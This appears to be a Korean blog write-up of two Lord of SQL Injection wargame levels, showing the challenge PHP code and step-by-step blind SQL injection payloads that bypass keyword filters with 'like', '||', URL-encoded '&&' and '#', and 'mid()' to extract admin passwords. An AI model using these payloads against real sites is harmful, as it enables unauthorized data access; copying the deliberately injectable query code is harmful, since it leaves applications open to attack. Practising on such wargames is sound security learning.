보안공부/워게임

lordofsql: golem, darknight

mint* 2021. 8. 6. 18:03
728x90

golem

코드

<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and|substr\(|=/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); //id가 admin이고 비밀번호를 찾으면 golem을 풀 수 있다. 
  
highlight_file(__FILE__); 
?>

=은 like로 or과 and는 ||, &&로 우회

?pw=' || id like 'admin' &&length(pw) like 8

뒤에 '"을 무시해야하므로 주석 사용하기

?pw=' || id like 'admin' && length(pw) like 8#

이렇게 하면 &&부터 값이 입력되지않는다. 

query : select id from prob_golem where id='guest' and pw='' || id like 'admin' '

&의 url escape code는 %26

https://docs.microfocus.com/OMi/10.62/Content/OMi/ExtGuide/ExtApps/URL_encoding.htm

 

URL escape codes

Searching the Help To search for information in the Help, type a word or phrase in the Search box. When you enter a group of words, OR is inferred. You can use Boolean operators to refine your search. Results returned are case insensitive. However, results

docs.microfocus.com

?pw=' || id like 'admin' %26%26 length(pw) like 8#

이렇게 &&을 우회하니까 값이 다 나왔다.

query : select id from prob_golem where id='guest' and pw='' || id like 'admin' && length(pw) like 8'

근데 8뒤에 '가 나왔다 주석처리를 했는데..

#의 url escape code는 %23이다. 

?pw=' || id like 'admin' %26%26 length(pw) like 8%23

드디어 떴다.

길이가 8이므로 코드 이용하자

 

안된다. 왜지 

한글자씩 해보자

substr을 대신하기 위해 mid를 이용한다.

?pw=' || id like 'admin' %26%26 mid(pw,1,1) like 1%23

?pw=' || id like 'admin' %26%26 mid(pw,1,1) like 7%23

처음 단어는 7

두번째 단어도 7

세번째는 d

6

2

9

0

b

77d6290b

 

?pw=' || id like 'admin' %26%26 pw like '77d6290b

darknight

코드를 보면

<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  if(
preg_match('/\'|substr|ascii|=/i'$_GET[no])) exit("HeHe"); 
  
$query "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  
highlight_file(__FILE__); 
?>

비번을 찾자

?pw=' || id='admin' &&length(pw)=8

근데 pw에서 ' ' 이 막혀있다.

no은 '과 substr, ascii, = 가 막혀있다.

pw는 ' '을 이용해서 써야하므로 '이 막혀서 못하지만

no는 번호만 적으면 되니까 '쓸 필요 없다 --> no이용

어차피 비번만 알아내면 되니까 

?no=0 || length(pw) like 8

근데 왜 admin이 뜨지 

비밀번호는 8글자

코드가 안되니까 노가다 해야된다.

?no=0 || mid(pw,1,1) like 0

첫번째 글자는 0

두번째 글자는 b

' '가 막혀있으므로 글자를 " "로 묶어서 보내야한다.

?no=0 || mid(pw,1,1) like "b"

세번째 글자는 7

0

e --> a에서 guest가 나오는데 우리는 admin 비번을 알아야한다.

a

1

f

0b70ea1f

신기한게 guest와 admin의 비번이 같지 않는데도 admin 비번을 쓰면 clear된다.

뭐지 

728x90